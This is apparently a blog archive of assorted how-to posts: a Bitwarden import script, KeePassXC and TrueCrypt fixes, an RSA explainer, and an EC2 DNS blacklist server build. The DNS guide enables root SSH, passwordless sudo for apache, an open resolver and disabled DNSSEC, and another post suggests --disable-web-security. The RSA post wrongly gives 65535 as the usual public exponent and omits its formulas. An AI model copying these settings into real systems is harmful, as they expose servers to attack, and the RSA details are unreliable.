//Skip “No Folder”
if($FolderName==='') {
$FolderIDs[$FolderName]='';
continue;
}
//Check each part of the folder tree to make sure it exists
$FolderParts=explode('/', $FolderName);
$CurPath='';
foreach($FolderParts as $Index => $FolderPart) {
$CurPath.=($Index>0 ? '/' : '').$FolderPart;
//If folder is already cached then nothing to do
if(isset($FolderIDs[$CurPath])) {
continue;
}
//Create the folder
print "Creating folder: $CurPath\n";
if(is_string($FolderInfo=RunBW('create folder '.base64_encode(json_encode(['name'=>$CurPath])), 'create folder: '.$CurPath)))
return $FolderInfo;
else if (!isset($FolderInfo->id))
return "bw folder create failed for “${CurPath}”: Return did not contain id";
$FolderIDs[$CurPath]=$FolderInfo->id;
}
}
return null;
}
//Pull the known items
function PullKnownItems($FoldersByID): string|array
{
$CurItems=[];
if(is_string($ItemList=RunBW('list items')))
return $ItemList;
foreach($ItemList as $Item) {
$CurItems[($Item->folderId===null ? '' : $FoldersByID[$Item->folderId].'/').$Item->name]=$Item->id;
}
return $CurItems;
}
function StoreItems($Items, $CurItems, $FoldersByID): int
{
print "\n"; //Give an extra newline before starting the processing
$NumItems=count($Items);
$NumErrors=0;
$HandleDuplicatesAction=''; //The "always do this" action
foreach($Items as $Index => $Item) {
//Clear the current line and print the processing status
printf("\rProcessing item #%d/%d", $Index+1, $NumItems);
fflush(STDOUT);
//If the item already exists then request what to do
$FullItemName=($Item->folderId===null ? '' : $FoldersByID[$Item->folderId].'/').$Item->name;
if(isset($CurItems[$FullItemName])) {
//If no "always" action has been set in $HandleDuplicatesAction then ask the user what to do
if(!($Action=$HandleDuplicatesAction)) {
print "\n";
while(1) {
print "A duplicate at “${FullItemName}” was found. Choose your action (s=skip,o=overwrite,S=always skip,O=always overwrite):";
fflush(STDOUT);
$Val=trim(fgets(STDIN));
if(in_array(strtolower($Val), ['s', 'o']))
break;
}
$Action=strtolower($Val);
if($Val!==$Action) //Upper case sets the "always" state
$HandleDuplicatesAction=$Action;
}
//Skip the item
if($Action==='s')
continue;
//Overwrite the item
if(is_string($Ret=RunBW('edit item '.$CurItems[$FullItemName].' '.base64_encode(json_encode($Item)), 'edit item: '.$FullItemName))) {
$NumErrors++;
printf("\nError on item #%d: %s\n", $Index+1, $Ret);
}
continue;
}
//Create the item
if(is_string($Ret=RunBW('create item '.base64_encode(json_encode($Item)), 'create item: '.$FullItemName))) {
$NumErrors++;
printf("\nError on item #%d: %s\n", $Index+1, $Ret);
}
}
return $NumErrors;
}
//Run a command through the “bw” application
function RunBW($Command, $Label=null, $DecodeJSON=true): string|object|array
{
//$Label is set to $Command if not given
if($Label===null)
$Label=$Command;
//Run the command and check the results
global $BW_SESSION;
exec(sprintf('BW_SESSION=%s bw %s --pretty 2>&1', $BW_SESSION, $Command), $Output, $ResultCode);
if($ResultCode===127)
return 'bw is not installed';
else if($ResultCode===1)
return "bw “${Label}” threw an error: \n".implode("\n", $Output);
else if($ResultCode!==0)
return "bw “${Label}” returned an invalid status code [$ResultCode]: \n".implode("\n", $Output);
else if($Output[0]==='mac failed.')
return 'Invalid session ID';
else if(!$DecodeJSON)
return [implode("\n", $Output)];
else if(($JsonRet=json_decode(implode("\n", $Output)))===null)
return "bw “${Label}” returned non-json result";
//Return the json object
return $JsonRet;
}
function RunMe($argv): string
{
//Make sure “bw” is installed and given session is valid
if(is_string($Ret=CheckBWStatus()))
return $Ret;
//Pull the known folders
if(is_string($FolderIDs=PullKnownFolders()))
return $FolderIDs;
//Get the file handle and the column indexes
if(is_string($Ret=GetFileAndColumns()))
return $Ret;
[$f, $ColNums]=$Ret;
unset($argv);
//Process the rows and ask the user if they want to continue
[$Counts, $FolderNames, $Items, $RowNum]=ProcessRows($f, $ColNums, $FolderIDs);
if(is_string($Ret=ConfirmContinue($Counts, $RowNum)))
return $Ret;
unset($Counts, $RowNum, $f, $ColNums);
//Get folder IDs and create parent folders for children
if(is_string($Ret=GetFolders($FolderNames, $FolderIDs)))
return $Ret;
unset($FolderNames);
//Pull the known items
$FoldersByID=array_flip($FolderIDs);
if(is_string($CurItems=PullKnownItems($FoldersByID)))
return $CurItems;
//Store all items
$FolderIDs['']=null; //Change empty folder to id=null for json insertions
$NumErrors=StoreItems($Items, $CurItems, $FoldersByID);
//Return completion information
return "\nCompleted ".($NumErrors ? "with $NumErrors error(s)" : 'successfully');
}
The 2 primary problems were that:
1) The browsers’ sandboxes did not have the QT libs.
2) The interprocess communication pipe socket had been renamed from kpxc_server to org.keepassxc.KeePassXC.BrowserServer.
The following are the instructions to get KeePassXC running in Flatpak versions of both Chrome and Firefox. This was tested on Linux Mint 21.3 with both Ungoogled Chromium and Firefox. You will need to change the KP_FLATPAK_PACKAGE if you use other versions of Chrome.
Run the relevant below environment variables in your command shell before running the commands in the following steps:
Install and enable the browser extension: KeePassXD > Tools > Settings > Browser Integration:
Check “Enable Browser Integration”
Check “Chromium” and/or “Firefox”
Download the plugin listed on this screen in your browser
Click "OK"
Note: This creates $KP_JSON_START/$KP_JSON_NAME
Set up the needed files in the sandbox:
#Put KeePass proxy and needed library files in user directory
mkdir -p $KP_CUSTOM/lib
mkdir -p $KP_JSON_END #Needed for firefox
cp /usr/bin/keepassxc-proxy $KP_CUSTOM/
rsync -a /usr/lib/x86_64-linux-gnu/libicudata* /usr/lib/x86_64-linux-gnu/libicuuc* /usr/lib/x86_64-linux-gnu/libicui* /usr/lib/x86_64-linux-gnu/libdouble* /usr/lib/x86_64-linux-gnu/libsodium* /usr/lib/x86_64-linux-gnu/libQt5* $KP_CUSTOM/lib
#Copy the JSON file to the Flatpak app directory and change the executable path in the file
cp $KP_JSON_START/$KP_JSON_NAME $KP_JSON_END/
sed -i "s/\/usr\/bin\//"$(echo $KP_CUSTOM | sed 's_/_\\/_g')"\//" $KP_JSON_END/$KP_JSON_NAME
Add permissions to the Flatpak:
flatpak override --user --filesystem=$KP_CUSTOM:ro $KP_FLATPAK_PACKAGE #Only required if home directory is not shared to the Flatpak
flatpak override --user --filesystem=xdg-run/org.keepassxc.KeePassXC.BrowserServer:ro $KP_FLATPAK_PACKAGE
flatpak override --user --env=LD_LIBRARY_PATH=$(flatpak info --show-permissions $KP_FLATPAK_PACKAGE | grep -oP '(?<=LD_LIBRARY_PATH=).*')";$KP_CUSTOM/lib" $KP_FLATPAK_PACKAGE
The following is a tutorial on mounting a dd image of a TrueCrypt system-level-encrypted volume. This tutorial was tested and written against Ubuntu 16.04.2 LTS.
Trying to mount your loopback device with losetup or mount doesn’t quite work. If you tried, you’d get an error like the following:
No such file or directory:
/sys/block/loop2/loop2p2/start
VeraCrypt::File::Open:276
Instead, use sudo kpartx -va IMAGE_FILENAME.
This will give you something like the following:
add map loop2p1 (253:0): 0 204800 linear 7:2 2048
add map loop2p2 (253:1): 0 976564224 linear 7:2 206848
This shows you the partitions in the image and which loopback devices they are mounted to. In my case, loop2 and loop2p2, which I will continue using for the rest of this tutorial.
So this mounts the following:
/dev/loop2: The primary loopback device
/dev/mapper/loop2p*: The partition loopback devices (in my case, loop2p1 and loop2p2)
If you attempt to mount loop2p2 with TrueCrypt or VeraCrypt as a system partition, no matter the password, you will get the error “Partition device required”.
To fix this we need to get the loop2p2 to show up in /dev and make an edit to the VeraCrypt source code.
You can run the following command to see the loopback partition devices and their sizes. This is where I am pulling loop2p2 from.
lsblk /dev/loop2
This will give the following:
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
loop2 7:2 0 465.8G 1 loop
├─loop2p2 253:1 0 465.7G 1 part
└─loop2p1 253:0 0 100M 1 part
Run the following command to create /dev/loop2p* block devices:
sudo partx -a /dev/loop2
Run the following commands to download and compile VeraCrypt:
sudo apt-get install git yasm libfuse-dev libwxgtk3.0-dev #yasm requires universe repository
git clone https://github.com/veracrypt/VeraCrypt
cd VeraCrypt/src
nano Platform/Unix/FilesystemPath.cpp#You can use the editor of your choice for this
In Platform/Unix/FilesystemPath.cpp make the following change:
After the following 2 lines of code in the FilesystemPath::ToHostDriveOfPartition() function, currently Line 78:
Then continue to run the following commands to finish up:
make
Main/veracrypt -m system,ro,nokernelcrypto -tc /dev/loop2p2YOUR_MOUNT_LOCATION
VeraCrypt parameter information:
If you don’t include the “nokernelcrypto” option, you will get the following error:
device-mapper: reload ioctl on veracrypt1 failed: Device or resource busy
Command failed
the “ro” is if you want to mount in readonly
“-tc” means the volume was created in TrueCrypt (not VeraCrypt)
Doing this in Windows is a lot easier. You just need to use a program called Arsenal Image Mounter to mount the drive, and then mount the partition in TrueCrypt (or VeraCrypt).
I’ve always thought that the RSA and Diffie–Hellman public key encryption algorithm systems are beautiful in their complex simplicity. While there are countless articles out there explaining how to implement them, I have never really found one that I think describes the math behind then in a simple way, so I thought I’d give a crack at it.
Both algorithms are derived from 3 math axioms:
This is called Modular exponentiation (hereby referred to as modexp). In the following, x is a prime numbers and p is an integer less than x.
A further derivation from the above formulas shows that we can combine primes and they work in the same manner. In the following, x and y are prime numbers and p is an integer less than x*y.
Note: This formula is not used in RSA but it helps demonstrate how the formulas from part 1 becomes formula 2b.
Due to how modexp works with primes, values of p that are multiples of x or y do not work with 2a.
The final axiom is how modexp can be split apart the same way as in algebra where (x^a)^b === x^(a*b). For any integers p, x, y, and m:
(p^(x*y) mod m) === ((p^x mod m)^y mod m)
With these 3 axioms we have everything we need to explain how RSA works. To execute an RSA exchange, encrypted from Bob and decrypted by Alice, the following things are needed.
The variable
Variable name
Who has it
Who uses it
Description
Prime Numbers 1 and 2
Prime1, Prime2
Alice
Alice
Alice will use these to derive variables PubKey, PrivKey, and Modulo. In our examples we use small numbers, but in reality, very large primes will be used, generally of at least 256 bit size.
Public key
PubKey
Alice, Bob
Bob
Alice sends this to Bob so he can encrypt data to her. Bob uses it as an exponent in a modexp.
Private key
PrivKey
Alice
Alice
Alice uses this to decrypt what Bob sends her. Alice uses it as an exponent in a modexp.
Modulo
Modulo
Bob, Alice
Bob, Alice
Alice sends this to Bob. They both use it as a modulo in a modexp
Payload Data
Payload
The data bob starts with and turns into EncryptedPayload. Alice derives Payload back from EncryptedPayload
Now, let’s start with axiom 2b:
Payload^((Prime1-1)*(Prime2-1)+1) mod (Prime1*Prime2) = Payload
Let’s change this up so the exponent is just 2 multiplications so we can use axiom 3 on it. We need to find 2 integers to become PubKey and PrivKey such that:
PubKey*PrivKey=(Prime1-1)*(Prime2-1)+1
And Modulo is Prime1*Prime2.
So we now have:
Payload^(PubKey*PrivKey) mod Modulo = Payload
Now, using axiom 3, we can turn it into this:
(Payload^PubKey mod Modulo)^PrivKey mod Modulo = Payload
Now, we can split this up into:
Bob calculates and sends to Alice: Payload^PubKey mod Modulo=EncryptedPayload
Alice uses the received EncryptedPayload and performs: EncryptedPayload^PrivKey mod Modulo = Payload
And the process is complete!
However, there is 1 caveat that I didn’t cover which makes the encryption that what we currently have weak. The calculation of PubKey and PrivKey from Prime1 and Prime2 needs to follow some rather specific complex rules to make the keys strong. Without this, an attacker may be able to figure out Prime1 and Prime2 from the Modulo and PubKey, and could then easily derive PrivKey from it. I generally see the PubKey as 65535, or another power of 2 minus 1.
On my primary computer (whose harddrive is encrypted) I always have Windows auto logging in to help with the bootup time. However, my bootup time can be rather slow; and if I needed to have my computer booted but locked, I had to wait for the login to complete so I could lock the computer. This has been becoming a nuisance lately when I need to get out of my house quickly in the morning.
For the solution I created a windows boot entry that auto locks the computer after logging the user in. This also requires a batch file, to run for the user on startup, to detect when this boot entry was selected. Here are the steps to create this setup:
Create the new boot entry:
In the windows command line, run: bcdedit /copy {current} /d "Lock on Startup"
This creates a new boot option, duplicated from your currently selected boot option, in the boot menu labeled “Lock on Startup”.
(Optional) Change the bootup timeout:
In the windows command line, run: bcdedit /timeout 5
Where 5 is a 5 second timeout.
Create a batch file to run on login:
In your start menu’s startup folder, add a batch file. You can name it anything as long as the extension is “.bat”.
Add the following to the file: bcdedit /enum {current} | findstr /r /c:"description *Lock on Startup" && rundll32.exe user32.dll,LockWorkStation
Note that there are 2 spaces in the description search string to replicate the regular expression's 1 or more quantifier “+”, since findstr only supports the 0 or more quantifier “*”.
Amazon EC2 is a great resource for cheap virtual servers to do simple things, like DNS or (low bandwidth) VPNs. I had the need this morning to set up a DNS server for a company which needed to blacklist a list of domains. The simplest way to do this is by editing all the computers’ hostfiles, but that method leaves a lot to be desired. Namely, blocking entire domains (as opposed to single subdomains), and deploying changes. Centralizing in a single place makes the job instant, immediate, and in the end, faster.
The following are the steps I used to set this up on an EC2 server. All command line instructions are followed by a single command you can run to execute the step. There is a full script below, at the end of the post, containing all steps from when you first login to SSH ("Login to root") to the end.
I am not going to go into the details of setting up an EC2 instance, as that information can be found elsewhere. I will also be skipping over some of the more obvious steps. Just create a default EC2 instance with the “Amazon Linux AMI”, and I will list all the changes that need to be made beyond that.
Creating the instance
For the first year, for the instance type, you might as well use a t2.micro, as it is free. After that, a t2.nano (which is a new lower level) currently at $56.94/year ($0.0065/Hour), should be fine.
After you select your instance type, click “Review and Launch” to launch the instance with all of the defaults.
After the confirmation screen, it will ask you to create a key pair. You can see other tutorials about this and how it enables you to log into your instance.
Edit the security group
Next, you need to edit the security group for your instance to allow incoming connections.
Go to “Instances” under the “Instances” group on the left menu, and click your instance.
In the bottom of the window, in the “Descriptions” tab, click the link next to “Security Groups”, which will bring you to the proper group in the security groups tab.
Right click it and “Edit inbound Rules”.
Make sure it has the following rules with Source=Anywhere: ALL ICMP [For pinging], SSH, HTTP, DNS (UDP), DNS (TCP)
Assign a permanent IP to your instance
To do this, click the “Elastic IPs” under “Network & Security” in the left menu.
Click “Allocate New Address”.
After creating it, right click the new address, then “Associate Address”, and assign it to your new instance.
You should probably set this IP up as an A record somewhere. I will refer to this IP as dns.yourdomain.com from now on.
Login to root
SSH into your instance as the ec2-user via “ssh ec2-user@dns.yourdomain.com”. If in windows, you could also use putty.
Sudo into root via “sudo su”.
Allow root login
At this point, I recommend setting it up so you can directly root into the server. Warning: some people consider this a security risk.
Copy your key pair(s) to the root user via “cat /home/ec2-user/.ssh/authorized_keys > /root/.ssh/authorized_keys”
Set SSHD to permit root logins by changing the PermitRootLogin variable to “yes” in /etc/ssh/sshd_config. A quick command to do this is “perl -pi -e 's/^\s*#?\s*PermitRootLogin.*$/PermitRootLogin yes/igm' /etc/ssh/sshd_config”, and then reload the SSHD config with “service sshd reload”. Make sure to attempt to directly log into SSH as root before exiting your current session to make sure you haven’t locked yourself out.
Install apache (the web server), bind/named (the DNS server), and PHP (a scripting language)
yum -y install bind httpd php
Start and set services to run at boot
service httpd start; service named start; chkconfig httpd on; chkconfig named on;
Set the DNS server to be usable by other computers
Edit /etc/named.conf and change the 2 following lines to have the value “any”: “listen-on port 53” and “allow-query”
perl -pi -e 's/^(\s*(?:listen-on port 53|allow-query)\s*{).*$/$1 any; };/igm' /etc/named.conf; service named reload;
Point the DNS server to the blacklist files
This is done by adding “include "/var/named/blacklisted.conf";” to /etc/named.conf
Put the following into /var/named/blacklisted.db . Make sure to change dns.yourdomain.com to your domain (or otherwise, “localhost”), and 1.1.1.1 to dns.yourdomain.com’s (your server’s) IP address. Make sure to keep all periods intact.
$TTL 14400
@ IN SOA dns.yourdomain.com. dns.yourdomain.com ( 2003052800 86400 300 604800 3600 )
@ IN NS dns.yourdomain.com.
@ IN A 1.1.1.1
* IN A 1.1.1.1
The first 2 lines tell the server the domains belong to it. The 3rd line sets the base blacklisted domain to your server’s IP. The 4th line sets all subdomains of the blacklisted domain to your server’s IP.
This can be done via (Update the first line with your values)
YOURDOMAIN="dns.yourdomain.com"; YOURIP="1.1.1.1";
echo -ne "\$TTL 14400\n@ IN SOA $YOURDOMAIN. $YOURDOMAIN ( 2003052800 86400 300 604800 3600 )\n@ IN NS $YOURDOMAIN.\n@ IN A $YOURIP\n* IN A $YOURIP" > /var/named/blacklisted.db;
Fix the permissions on the blacklist files
chgrp named /var/named/blacklisted.*; chmod 660 /var/named/blacklisted.*;
Set the server’s domain resolution name servers
The server always needs to look at itself before other DNS servers. To do this, comment out everything in /etc/resolv.conf and add to it “nameserver localhost”. This is not the best solution. I’ll find something better later.
At this point, it’s a good idea to make sure the DNS server is working as intended. So first, we’ll add an example domain to the DNS server.
Add the following to /var/named/blacklisted.conf and restart named to get the server going with example.com: “zone "example.com" { type master; file "blacklisted.db"; };”
echo 'zone "example.com" { type master; file "blacklisted.db"; };' >> /var/named/blacklisted.conf; service named reload;
Ping “test.example.com” and make sure it’s IP is your server’s IP
Set your computer’s DNS to your server’s IP in your computer’s network settings, ping “test.example.com” from your computer, and make sure the returned IP is your server’s IP. If it works, you can restore your computer’s DNS settings.
Have the server return a message when a blacklisted domain is accessed
Add your message to /var/www/html
echo 'Domain is blocked' > /var/www/html/index.html
Set all URL paths to show the message by adding the following to the /var/www/html/.htaccess file
Turn on AllowOverride in the /etc/httpd/conf/httpd.conf for the document directory (/var/www/html/) via “ perl -0777 -pi -e 's~(<Directory "/var/www/html">.*?\n\s*AllowOverride).*?\n~$1 All~s' /etc/httpd/conf/httpd.conf”
Start the server via “service httpd graceful”
Create a script that allows apache to refresh the name server’s settings
Create a script at /var/www/html/AddRules/restart_named with “/sbin/service named reload” and set it to executable
Allow the user to run the script as root by adding to /etc/sudoers “apache ALL=(root) NOPASSWD: /var/www/html/AddRules/restart_named” and “Defaults!/var/www/html/AddRules/restart_named !requiretty”
Create a script that allows the user to add, remove, and list the blacklisted domains
Add the following to /var/www/html/AddRules/index.php (one line command not given. You can use “nano” to create it)
<?php//Get old domains$BlockedFile='/var/named/blacklisted.conf';$CurrentZones=Array();foreach(explode("\n", file_get_contents($BlockedFile)) as$Line)if(preg_match('/^zone "([\w\._-]+)"/', $Line, $Results))$CurrentZones[]=$Results[1];//List domainsif(isset($_REQUEST['List']))returnprintimplode('<br>', $CurrentZones);//Get new domainsif(!isset($_REQUEST['Domains']))returnprint'Missing Domains';$Domains=$_REQUEST['Domains'];if(!preg_match('/^[\w\._-]+(,[\w\._-]+)*$/uD', $Domains))returnprint'Invalid domains string';$Domains=explode(',', $Domains);//Remove domainsif(isset($_REQUEST['Remove'])){$CurrentZones=array_flip($CurrentZones);foreach($Domainsas$Domain)unset($CurrentZones[$Domain]);$FinalDomainList=array_keys($CurrentZones);}else//Combine domains$FinalDomainList=array_unique(array_merge($Domains, $CurrentZones));//Output to the file$FinalDomainData=Array();foreach($FinalDomainListas$Domain)$FinalDomainData[]=
"zone \"$Domain\" { type master; file \"blacklisted.db\"; };";file_put_contents($BlockedFile, implode("\n", $FinalDomainData));//Reload namedprint`sudo /var/www/html/AddRules/restart_named`;?>
Add the “apache” user to the “named” group so the script can update the list of domains in /var/named/blacklisted.conf via “usermod -a -G named apache; service httpd graceful;”
Run the domain update script
To add a domain (separate by commas): http://dns.yourdomain.com/AddRules/?Domains=domain1.com,domain2.com
To remove a domain (add “Remove&” after the “?”): http://dns.yourdomain.com/AddRules/?Remove&Domains=domain1.com,domain2.com
To list the domains: http://dns.yourdomain.com/AddRules/?List
Warning: Putting the password file in an http accessible directory is a security risk. I just did this for sake of organization.
Create the user+password via “htpasswd -bc /var/www/html/AddRules/.htpasswd USERNAME” and then entering the password
[Edit on 2016-01-30 @ noon]
To permanently set “localhost” as the resolver DNS, add “DNS1=localhost” to “/etc/sysconfig/network-scripts/ifcfg-eth0”. I have not yet confirmed this edit.
Security Issue
Soon after setting up this DNS server, it started getting hit by a DNS amplification attack. As the server is being used as a client’s DNS server, turning off recursion is not available. The best solution is to limit the people who can query the name server via an access list (usually a specific subnet), but that would very often not be an option either. The solution I currently have in place, which I have not actually verified if it works, is to add a forced-forward rule which only makes external requests to the name server provided by Amazon. To do this, get the name server’s IP from /etc/resolv.conf (it should be commented from an earlier step). Then add the following to your named.conf in the “options” section.
forwarders {
DNS_SERVER_IP;
};
forward only;
After I added this rule, external DNS requests stopped going through completely. To fix this, I turned “dnssec-validation” to “no” in the named.conf. Don’t forget to restart the service once you have made your changes.
Make sure to run this as root (login as root or sudo it)
Download the script here. Make sure to chmod and sudo it when running. “chmod +x dnsblacklist_install.sh; sudo ./dnsblacklist_install.sh;”
#User defined variables
VARIABLES_SET=0; #Set this to 1 to allow the script to run
YOUR_DOMAIN="localhost";
YOUR_IP="1.1.1.1";
BLOCKED_ERROR_MESSAGE="Domain is blocked";
ADDRULES_USERNAME="YourUserName";
ADDRULES_PASSWORD="YourPassword";#Confirm script is ready to runif [ $VARIABLES_SET != 1 ];thenecho'Variables need to be set in the script';exit 1;fiif [ `whoami`!='root' ];thenecho'Must be root to run script. When running the script, add "sudo" before it to' \
'run as root';exit 1;fi#Allow root login
cat /home/ec2-user/.ssh/authorized_keys > /root/.ssh/authorized_keys;
perl -pi -e 's/^\s*#?\s*PermitRootLogin.*$/PermitRootLogin yes/igm' /etc/ssh/sshd_config;
service sshd reload;#Install services
yum -y install bind httpd php;
chkconfig httpd on;
chkconfig named on;
service httpd start;
service named start;#Set the DNS server to be usable by other computers
perl -pi -e 's/^(\s*(?:listen-on port 53|allow-query)\s*{).*$/$1 any; };/igm' \
/etc/named.conf;
service named reload;#Create/link the blacklist filesecho -ne '\ninclude "/var/named/blacklisted.conf";'>> /etc/named.conf;
touch /var/named/blacklisted.conf;#Create the blacklist zone fileecho -ne "\$TTL 14400@ IN SOA $YOUR_DOMAIN. $YOUR_DOMAIN ( 2003052800 86400 300 604800 3600 )@ IN NS $YOUR_DOMAIN.@ IN A $YOUR_IP* IN A $YOUR_IP"> /var/named/blacklisted.db;#Fix the permissions on the blacklist files
chgrp named /var/named/blacklisted.*;
chmod 660 /var/named/blacklisted.*;#Set the server’s domain resolution name servers
perl -pi -e 's/^(?!;)/;/gm' /etc/resolv.conf;echo -ne '\nnameserver localhost'>> /etc/resolv.conf;#Run a testecho'zone "example.com" { type master; file "blacklisted.db"; };'>> \
/var/named/blacklisted.conf;
service named reload;
FOUND_IP=`dig -t A example.com | grep -ioP "^example\.com\..*?"'in\s+a\s+[\d\.:]+'| \
grep -oP '[\d\.:]+$'`;if [ "$YOUR_IP"=="$FOUND_IP" ]
thenecho'Success: Example domain matches your given IP'> /dev/stderr;elseecho'Warning: Example domain does not match your given IP'> /dev/stderr;fi#Have the server return a message when a blacklisted domain is accessedecho"$BLOCKED_ERROR_MESSAGE"> /var/www/html/index.html;
perl -0777 -pi -e 's~(<Directory "/var/www/html">.*?\n\s*AllowOverride).*?\n~$1 All~s' \
/etc/httpd/conf/httpd.conf;echo -n 'RewriteEngine onRewriteCond %{REQUEST_URI} !index.htmlRewriteCond %{REQUEST_URI} !AddRules/RewriteRule ^(.*)$ /index.html [L]'> /var/www/html/.htaccess;
service httpd graceful;#Create a script that allows apache to refresh the name server’s settings
mkdir /var/www/html/AddRules;echo'/sbin/service named reload'> /var/www/html/AddRules/restart_named;
chmod 755 /var/www/html/AddRules/restart_named;echo'apache ALL=(root) NOPASSWD:/var/www/html/AddRules/restart_namedDefaults!/var/www/html/AddRules/restart_named !requiretty'>> /etc/sudoers;#Create a script that allows the user to add, remove, and list the blacklisted domainsecho -n $'<?php//Get old domains$BlockedFile=\'/var/named/blacklisted.conf\';$CurrentZones=Array();foreach(explode("\\n", file_get_contents($BlockedFile)) as $Line) if(preg_match(\'/^zone "([\\w\\._-]+)"/\', $Line, $Results)) $CurrentZones[]=$Results[1];//List domainsif(isset($_REQUEST[\'List\'])) return print implode(\'<br>\', $CurrentZones);//Get new domainsif(!isset($_REQUEST[\'Domains\'])) return print \'Missing Domains\';$Domains=$_REQUEST[\'Domains\'];if(!preg_match(\'/^[\\w\\._-]+(,[\\w\\._-]+)*$/uD\', $Domains)) return print \'Invalid domains string\';$Domains=explode(\',\', $Domains);//Remove domainsif(isset($_REQUEST[\'Remove\'])){ $CurrentZones=array_flip($CurrentZones); foreach($Domains as $Domain) unset($CurrentZones[$Domain]); $FinalDomainList=array_keys($CurrentZones);}else //Combine domains $FinalDomainList=array_unique(array_merge($Domains, $CurrentZones));//Output to the file$FinalDomainData=Array();foreach($FinalDomainList as $Domain) $FinalDomainData[]="zone \\"$Domain\\" { type master; file \\"blacklisted.db\\"; };";file_put_contents($BlockedFile, implode("\\n", $FinalDomainData));//Reload namedprint `sudo /var/www/html/AddRules/restart_named`;?>'> /var/www/html/AddRules/index.php;
usermod -a -G named apache;
service httpd graceful;#Password protect the domain update scriptecho -n 'AuthType BasicAuthName "Admins Only"AuthUserFile "/var/www/html/AddRules/.htpasswd"require valid-user'> /var/www/html/AddRules/.htaccess;
htpasswd -bc /var/www/html/AddRules/.htpasswd "$ADDRULES_USERNAME""$ADDRULES_PASSWORD";echo'Script complete';
After a little over a year of waiting, Let’s Encrypt has finally opened its doors to the public! Let’s Encrypt is a free https certificate authority, with the goal of getting the entire web off of http (unencrypted) and on to https. I consider this a very important undertaking, as encryption is one of the best ways we can fight illegal government surveillance. The more out there that is encrypted, the harder it will be to spy on people.
I went ahead and got it up and running on 2 servers today, which was a bit of a pain in the butt. It [no longer] supports Python 2.6, and was also very unhappy with my CentOS 6.4 cPanel install. Also, when you first run the letsencrypt-auto executable script as instructed by the site, it opens up your package manager and immediately starts downloading LOTS of packages. I found this to be quite anti-social, especially as I had not yet seen anywhere, or been warned, that it would do this before I started the install, but oh well. It is convenient. The problem in cPanel was that a specific library, libffi, was causing problems during the install.
To fix the Python problem for all of my servers, I had to install Python 2.7 as an alt Python install so it wouldn’t mess with any existing infrastructure using Python 2.6. After that, I also set the current alias of “python” to “python2.7” so the local shell would pick up on the correct version of Python.
As root in a clean directory:
wget https://www.python.org/ftp/python/2.7.8/Python-2.7.8.tgz
tar -xzvf Python-2.7.8.tgz
cd Python-2.7.8
./configure --prefix=/usr/local
make
make altinstall
alias python=python2.7
The cPanel lib problem was caused by libffi already being installed as 3.0.9-1.el5.rf, but yum wanted to install its devel package as version 3.0.5-3.2.el6.x86_64 (an older version). It did not like running conflicting versions. All that was needed to fix the problem was to manually download and install the same devel version as the current live version.
Unfortunately, the apache plugin was also not working, so I had to do a manual install with “certonly” and “--webroot”.
And that was it; letsencrypt was ready to go and start signing my domains! You can check out my current certificate, issued today, that currently has 13 domains tied to it!
So I was recently hired to set up a go-between system that would allow two independent websites to directly communicate and transfer/copy data between each other via a web browser. This is obviously normally not possible due to cross-site browser security settings (XSS), so I gave the client 2 possible solutions. Both of these solutions are written with the assumption that there is a go-between intermediary iframe/window, on a domain that they control, between the 2 independent site iframes/window. This would also work fine for one site you control against a site you do not control.
Tell the browser to ignore this security requirement:
For example, if you add to the chrome command line arguments “--disable-web-security”, cross-site security checks will be removed. However, chrome will prominently display on the very first tab (which can be closed) at the top of the browser “You are using an unsupported command-line flag: —disable-web-security. Stability and security will suffer”. This can be scary to the user, and could also allow security breaches if the user utilizes that browser [session] for anything except the application page.
The more appropriate way to do it, which requires a bit of work on the administrative end, is having all 3 sites pretend to run off of the same domain. To do this:
You must have a domain that you control, which we will call UnifyingDomain.com (This top level domain can contain subdomains)
The 2 sites that YOU control would need a JavaScript line of “document.domain='UnifyingDomain.com';” somewhere in them. These 2 sites must also be run off of a subdomain of UnifyingDomain.com, (which can also be done through apache redirect directives).
The site that you do not control would need to be forwarded through your UnifyingDomain.com (not a subdomain) via an apache permanent redirect.
This may not work, if their site programmer is dumb and does not use proper relative links for everything (absolute links are the devil :-) ). If this is the case:
You can use a [http] proxy to pull in their site through your domain (in which case, if you wanted, you could inject a “domain=”)
You can use the domain that you do not control as the top level UnifyingDomain.com, and add rules into your computer’s hostname files to redirect its subdomains to your IPs.
This project is why I ended up making my HTTP Forwarders client in go (coming soon).
A friend of mine recently asked me about the TOR network because of a PC world article he had read. First, I’d like to state that the article actually has a lot of good general information, covering a lot of general security problems with solutions to them that have been time proven and useful to millions of people (VPNs, privacy/incognito mode in browsers, cookie management, bugmenot, etc). However, I think the article does not cover the realities of TOR and VPNs at all, so I figured I’d write up an article on these topics that I could share with my inquisitive friend and anyone else who is interested.
I used TOR back in the early 2000s and it’s not cracked up to what the article would have you think. Basically, it securely routes your connection through a few other people’s internet connections (we’ll say 3 for examples sake). The computers/nodes between you and the “exit node” in the route can’t read what your traffic data says because it’s all encrypted, but the final person/computer (the “exit node”) literally sees, in clear text, 100% of your data as if you were sending/receiving it out of your own machine without the TOR network. So if you are doing anything that isn’t natively encrypted (instant message chatting without OTR, going to a site via http instead of https) the exit node can snoop on everything you do. They can even see the domain (not the entire URL) of WHERE you are going with https1. If I recall, you can’t really control the exit node as, I think, it semi-randomly picks it from any person in the world running a TOR router node.
So all TOR really does for you is make servers that you connect to not know from where you are coming. So one day it may think you are coming from Michigan, and another day, from Singapore. And honestly, for most people that isn’t even really all that important. Do you really care if servers you go to on the internet know you are coming in from your home town? (They generally can’t pinpoint further than that without getting a warrant and asking the ISP). All that's really done with this data is correlation. Seeing that someone from this IP address that went to this one website also went to this other website.
And even worse, TOR is known for being ungodly slow. Back when I was using it I was LUCKY to get 15KB/s throughput on my connections, and I doubt it has changed much (though you could get lucky too on your “randomly” chosen connection nodes). This means to download a normal webpage (~1.5MB for arguments sake) it would take ~2 minutes to download the page instead of 1-2 seconds for normal broadband users.
The more important thing (than anonymity) for online security is making sure everything you do is encrypted end point to end point (privacy). That means using securely encrypted (usually SSL) connections (https is SSL on top of http). That makes it so no one can snoop on conversations between your computer and the server you are communicating with. Location anonymity isn’t really that important unless you have something to hide that you think someone may try to find you for, though taking appropriate precautions (next few paragraphs) could never hurt. TOR is actually probably more hurtful in the long run since the exit node is an untrusted user who can spy on your unencrypted traffic.
